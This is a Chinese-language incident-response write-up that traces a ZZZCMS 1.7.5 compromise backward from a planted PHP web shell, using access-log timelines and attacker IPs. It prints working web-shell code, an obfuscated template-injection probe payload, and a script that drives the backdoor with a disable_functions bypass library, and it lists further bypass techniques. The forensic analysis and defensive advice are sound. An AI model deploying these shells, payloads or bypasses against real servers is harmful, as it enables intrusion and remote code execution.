记一次从后门开展的应急响应溯源
字数 1890 2025-08-29 08:32:09
从后门开展的应急响应溯源实战教学
1. 背景与概述
本教学文档基于一次真实的应急响应案例,展示了如何从一个Web后门开始,通过日志分析和漏洞溯源,最终找到最初攻击者的完整过程。案例中涉及的技术点包括:
- Web后门分析与利用
- 禁用函数绕过技术
- 日志分析方法
- 漏洞利用链还原
- 攻击者行为分析
2. 后门分析与初步利用
2.1 后门定位
后门URL:http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php
后门代码:
<?php
function fun2 (){
$b = $_POST ;
return @ ( $b [ a ]);
}
@ extract ( array ( b => create_function ( NULL , fun2 ())));
@ extract ( array ( c => $b ()));
?>
hello
2.2 后门技术分析
- 该后门使用
create_function创建匿名函数 - 通过
extract函数将变量导入当前符号表 - 最终执行通过POST参数
a传入的代码
2.3 利用受阻与解决方案
-
问题:使用蚁剑连接后发现命令执行返回127,检查phpinfo发现禁用函数:
disable_functions: exec,passthru,popen,proc_open,shell_exec,system,assert -
解决方案:在同目录下发现前人留下的
bypass_disablefunc_x.so文件,可直接用于绕过禁用函数限制
3. 日志收集与分析
3.1 日志收集脚本
使用Python脚本批量收集2020年4月1日至12月31日的访问日志:
#coding:utf-8
import requests
for month in range(4,13):
for days in range(1,31):
date = '%02d'%month + '%02d'%days
url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so'
res = requests.get(url=url)
fp = open(date+'.txt','w')
fp.write(res.content)
fp.close()
3.2 关键时间点定位
- 后门文件
wwConapp.php创建时间:2020-11-06 09:34:19 - 相关访问记录:
115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 - 115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180 115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161
3.3 攻击者IP行为分析
对IP 115.238.195.188的访问记录分析:
115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161
115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153
115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8
...
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16
发现该攻击者从/search/2.php开始访问,但该文件已被删除,仅剩同目录下的1.php:
<?php @ $content = @ stripslashes(/**/ @$_POST[1]); @ eval(''./**/ $content);
4. 初始攻击溯源
4.1 最早的后门访问记录
查找/search/2.php的最早访问记录:
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
4.2 攻击向量分析
IP 180.126.246.121的攻击流量:
/search/?keys={if:array_map(base_convert(31298929054286,10,32),array((base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)).yizogi.(base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36))))}{endif}
解码分析:
base_convert(31298929054286,10,32)→ "setcookie"base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)→ 解码后为空字符串- 整体效果:
setcookie("yizogi", "")
这是一个探测性的攻击,用于检查是否存在模板注入漏洞。
4.3 漏洞确认
该攻击利用的是ZZZCMS 1.7.5的前台RCE漏洞,相关特征:
- 通过模板变量注入执行代码
- 利用base_convert等函数混淆攻击payload
- 漏洞利用成功后会在响应中设置特定cookie
5. 攻击链还原
完整的攻击时间线:
-
初始入侵(2020-08-28):
- IP
180.126.246.121利用ZZZCMS 1.7.5漏洞上传/search/2.php后门
- IP
-
后续利用(2020-11-06):
- IP
115.238.195.188利用已有后门,在/plugins/layer/mobile/need/目录上传Conapp.php后门 - 后将该文件重命名为
wwConapp.php
- IP
-
后门维护:
- 攻击者在
/search/目录下留下1.php作为备用后门 - 在
/plugins/layer/mobile/need/目录留下bypass_disablefunc_x.so用于绕过禁用函数限制
- 攻击者在
6. 防护建议
- 及时更新:确保CMS系统及时更新到最新版本
- 禁用危险函数:在php.ini中禁用危险函数
- 日志监控:实施实时日志监控,对可疑访问模式设置告警
- 文件完整性检查:定期检查网站目录的文件变动
- 最小权限原则:Web服务器进程应以最低必要权限运行
7. 高级溯源技术展望
文中提出的基于图谱的响应溯源追踪系统构想:
- 数据层:将所有日志导入图数据库
- 分析层:
- 使用图查询语句分析访问模式
- 结合正则表达式和AI检测可疑行为
- 可视化层:自动生成攻击路径图,辅助人工判断
8. 附录:相关技术点详解
8.1 禁用函数绕过技术
常见绕过方法:
- 使用LD_PRELOAD加载恶意.so文件
- 利用imap_open等未被禁用的函数
- 通过PHP的FFI扩展
- 使用反引号(``)执行命令
8.2 日志分析技巧
- 时间线分析:围绕关键文件的时间戳展开
- IP关联:同一IP的连续访问行为
- 异常请求:识别非常规的URL和参数
- 状态码分析:关注200以外的响应码
8.3 漏洞利用特征
ZZZCMS 1.7.5 RCE漏洞特征:
- 使用base_convert等函数混淆
- 模板注入语法特征
- 通常伴随文件上传行为
- 探测阶段会设置特定cookie